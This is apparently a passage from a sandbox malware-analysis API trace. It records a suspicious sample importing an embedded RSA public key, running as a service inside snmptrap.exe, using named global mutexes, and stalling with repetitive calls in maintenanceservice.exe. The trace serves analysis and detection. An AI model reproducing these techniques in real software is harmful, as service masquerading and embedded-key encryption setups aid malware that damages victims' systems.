pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xe27cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xe27cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0253.824] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xe27cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0253.829] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xe27cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xe27f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0xe27f40, pcbStructInfo=0x18fd24) returned 1 [0253.829] CryptImportPublicKeyInfo (in: hCryptProv=0x2e1e88, dwCertEncodingType=0x10001, pInfo=0xe27f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xe27f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xe27f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x2e60c0) returned 1 [0253.830] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe27f40) returned 1 [0253.830] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe27cf8) returned 1 [0253.831] ReleaseMutex (hMutex=0xc4) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe25058) returned 1 [0253.831] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x2800) returned 0xe25058 [0253.831] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc900 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc900) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe25058) returned 1 [0253.831] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x2800) returned 0xe25058 [0253.831] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc900 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc900) returned 1 [0253.831] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc900 [0253.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0253.831] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe1e0 [0253.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc900, cbMultiByte=9, lpWideCharStr=0xffe1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0253.831] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe268 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffe1e0) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffe268) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc900) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe25058) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe22850) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd258) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc240) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd268) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd278) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd288) returned 1 [0253.831] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd5e8) returned 1 [0253.831] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0253.832] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) Thread: id = 1034 os_tid = 0x22c Thread: id = 1035 os_tid = 0x6d0 Thread: id = 1036 os_tid = 0x698 Thread: id = 1037 os_tid = 0x69c [0253.891] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x40ce51) returned 0x2e9370 [0253.891] SetServiceStatus (hServiceStatus=0x2e9370, lpServiceStatus=0x16cff4c*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0253.893] GetCommandLineW () returned="C:\\Windows\\System32\\snmptrap.exe" [0253.894] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\snmptrap.exe", pNumArgs=0x16cff38 | out: pNumArgs=0x16cff38) returned 0x2e3738*="C:\\Windows\\System32\\snmptrap.exe" [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd5e8 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd288 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe268 [0253.894] LocalFree (hMem=0x2e3738) returned 0x0 [0253.894] Wow64DisableWow64FsRedirection (in: OldValue=0x16cff34 | out: OldValue=0x16cff34*=0x0) returned 1 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x800) returned 0xe27cf8 [0253.894] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe27cf8, nSize=0x200 | out: lpFilename="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe")) returned 0x20 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe1e0 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe2f0 [0253.894] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffe1e0) returned 1 [0253.894] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffe2f0) returned 1 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x5c) returned 0xffdd28 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe2f0 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe1e0 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe378 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe400 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe488 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe510 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe598 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe620 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe6a8 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe730 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe7b8 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe840 [0253.894] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x100) returned 0xe28500 [0253.895] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0xe28500, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0253.895] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe28500) returned 1 [0253.895] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffe840) returned 1 [0253.895] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffe840 [0253.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0253.895] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0xffc288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0253.895] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.895] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.895] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffe840) returned 1 [0253.895] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.895] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc240 [0253.895] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.895] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc900 [0253.895] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc948 [0253.895] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc990 [0253.895] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x5000) returned 0xe22850 [0253.895] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc9d8 [0253.895] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc9d8) returned 1 [0253.895] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0253.941] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe22850) returned 1 [0253.941] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2dce60, lpbSaclPresent=0x16cfd68, pSacl=0x16cfdbc, lpbSaclDefaulted=0x16cfd68 | out: lpbSaclPresent=0x16cfd68, pSacl=0x16cfdbc, lpbSaclDefaulted=0x16cfd68) returned 1 [0253.941] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc9d8 [0253.941] CreateEventA (lpEventAttributes=0x16cfdb0, bManualReset=1, bInitialState=0, lpName="") returned 0x138 [0253.941] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc9d8) returned 1 [0253.941] GetLastError () returned 0x0 [0253.941] LocalFree (hMem=0x2dce60) returned 0x0 [0253.941] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc9d8 [0253.942] CryptAcquireContextW (in: phProv=0x16cfda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x16cfda0*=0x2eb478) returned 1 [0253.942] CryptCreateHash (in: hProv=0x2eb478, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x16cfda0 | out: phHash=0x16cfda0) returned 1 [0253.942] CryptHashData (hHash=0x2e92f0, pbData=0xffc240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0253.942] CryptGetHashParam (in: hHash=0x2e92f0, dwParam=0x4, pbData=0x16cfda4, pdwDataLen=0x16cfdb0, dwFlags=0x0 | out: pbData=0x16cfda4, pdwDataLen=0x16cfdb0) returned 1 [0253.943] CryptGetHashParam (in: hHash=0x2e92f0, dwParam=0x2, pbData=0xffc9d8, pdwDataLen=0x16cfda4, dwFlags=0x0 | out: pbData=0xffc9d8, pdwDataLen=0x16cfda4) returned 1 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffca20 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x184) returned 0xe28500 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffca68 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffcab0 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffcaf8 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffcb40 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffcb88 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffcbd0 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe286a8 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe286f0 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe28738 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe28780 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe287c8 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe28810 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe28858 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe288a0 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe288e8 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe28930 [0253.943] CryptDestroyHash (hHash=0x2e92f0) returned 1 [0253.943] CryptReleaseContext (hProv=0x2eb478, dwFlags=0x0) returned 1 [0253.943] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc9d8) returned 1 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc9d8 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe28978 [0253.943] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc9d8) returned 1 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc9d8 [0253.943] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc9d8) returned 1 [0253.943] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe28978) returned 1 [0253.943] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffca20) returned 1 [0253.943] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffca20 [0253.943] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x13c [0253.944] GetLastError () returned 0x0 [0253.944] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc9d8 [0253.944] CryptAcquireContextW (in: phProv=0x16cfda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x16cfda0*=0x2eb478) returned 1 [0253.944] CryptCreateHash (in: hProv=0x2eb478, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x16cfda0 | out: phHash=0x16cfda0) returned 1 [0253.944] CryptHashData (hHash=0x2e92f0, pbData=0xffc240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0253.944] CryptGetHashParam (in: hHash=0x2e92f0, dwParam=0x4, pbData=0x16cfda4, pdwDataLen=0x16cfdb0, dwFlags=0x0 | out: pbData=0x16cfda4, pdwDataLen=0x16cfdb0) returned 1 [0253.944] CryptGetHashParam (in: hHash=0x2e92f0, dwParam=0x2, pbData=0xffc9d8, pdwDataLen=0x16cfda4, dwFlags=0x0 | out: pbData=0xffc9d8, pdwDataLen=0x16cfda4) returned 1 [0253.944] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe28978 [0253.944] CryptDestroyHash (hHash=0x2e92f0) returned 1 [0253.944] CryptReleaseContext (hProv=0x2eb478, dwFlags=0x0) returned 1 [0253.944] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc9d8) returned 1 [0253.945] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc9d8 [0253.945] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe289c0 [0253.945] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc9d8) returned 1 [0253.945] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc9d8 [0253.945] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc9d8) returned 1 [0253.945] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe289c0) returned 1 [0253.945] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe28978) returned 1 [0253.945] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe28978 [0253.945] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe289c0 [0253.945] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0253.945] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe289c0) returned 1 [0253.945] GetLastError () returned 0x5 [0253.945] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe289c0 [0253.945] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0253.945] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe289c0) returned 1 [0253.945] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xe289c0 [0253.945] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x140 [0253.945] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe289c0) returned 1 [0253.945] SetEvent (hEvent=0x13c) returned 1 [0253.945] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) Process: id = "91" image_name = "maintenanceservice.exe" filename = "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe" page_root = "0x69cf0000" os_pid = "0x57c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 1038 os_tid = 0x6e8 [0254.121] GetCommandLineW () returned="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"" [0254.121] GetStockObject (i=168) returned 0x0 [0254.121] GetAsyncKeyState (vKey=58) returned 0 [0254.121] GetKBCodePage () returned 0x1b5 [0254.121] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.121] GetFocus () returned 0x0 [0254.121] GetAsyncKeyState (vKey=58) returned 0 [0254.122] GetKBCodePage () returned 0x1b5 [0254.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.122] GetFocus () returned 0x0 [0254.122] GetAsyncKeyState (vKey=58) returned 0 [0254.122] GetKBCodePage () returned 0x1b5 [0254.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.122] GetFocus () returned 0x0 [0254.122] GetAsyncKeyState (vKey=58) returned 0 [0254.122] GetKBCodePage () returned 0x1b5 [0254.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.122] GetFocus () returned 0x0 [0254.122] GetAsyncKeyState (vKey=58) returned 0 [0254.122] GetKBCodePage () returned 0x1b5 [0254.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.122] GetFocus () returned 0x0 [0254.122] GetAsyncKeyState (vKey=58) returned 0 [0254.122] GetKBCodePage () returned 0x1b5 [0254.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.122] GetFocus () returned 0x0 [0254.122] GetAsyncKeyState (vKey=58) returned 0 [0254.122] GetKBCodePage () returned 0x1b5 [0254.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.122] GetFocus () returned 0x0 [0254.122] GetAsyncKeyState (vKey=58) returned 0 [0254.122] GetKBCodePage () returned 0x1b5 [0254.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.122] GetFocus () returned 0x0 [0254.122] GetAsyncKeyState (vKey=58) returned 0 [0254.122] GetKBCodePage () returned 0x1b5 [0254.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.122] GetFocus () returned 0x0 [0254.122] GetAsyncKeyState (vKey=58) returned 0 [0254.122] GetKBCodePage () returned 0x1b5 [0254.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.123] GetFocus () returned 0x0 [0254.123] GetAsyncKeyState (vKey=58) returned 0 [0254.123] GetKBCodePage () returned 0x1b5 [0254.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.123] GetFocus () returned 0x0 [0254.123] GetAsyncKeyState (vKey=58) returned 0 [0254.123] GetKBCodePage () returned 0x1b5 [0254.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.123] GetFocus () returned 0x0 [0254.123] GetAsyncKeyState (vKey=58) returned 0 [0254.123] GetKBCodePage () returned 0x1b5 [0254.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, 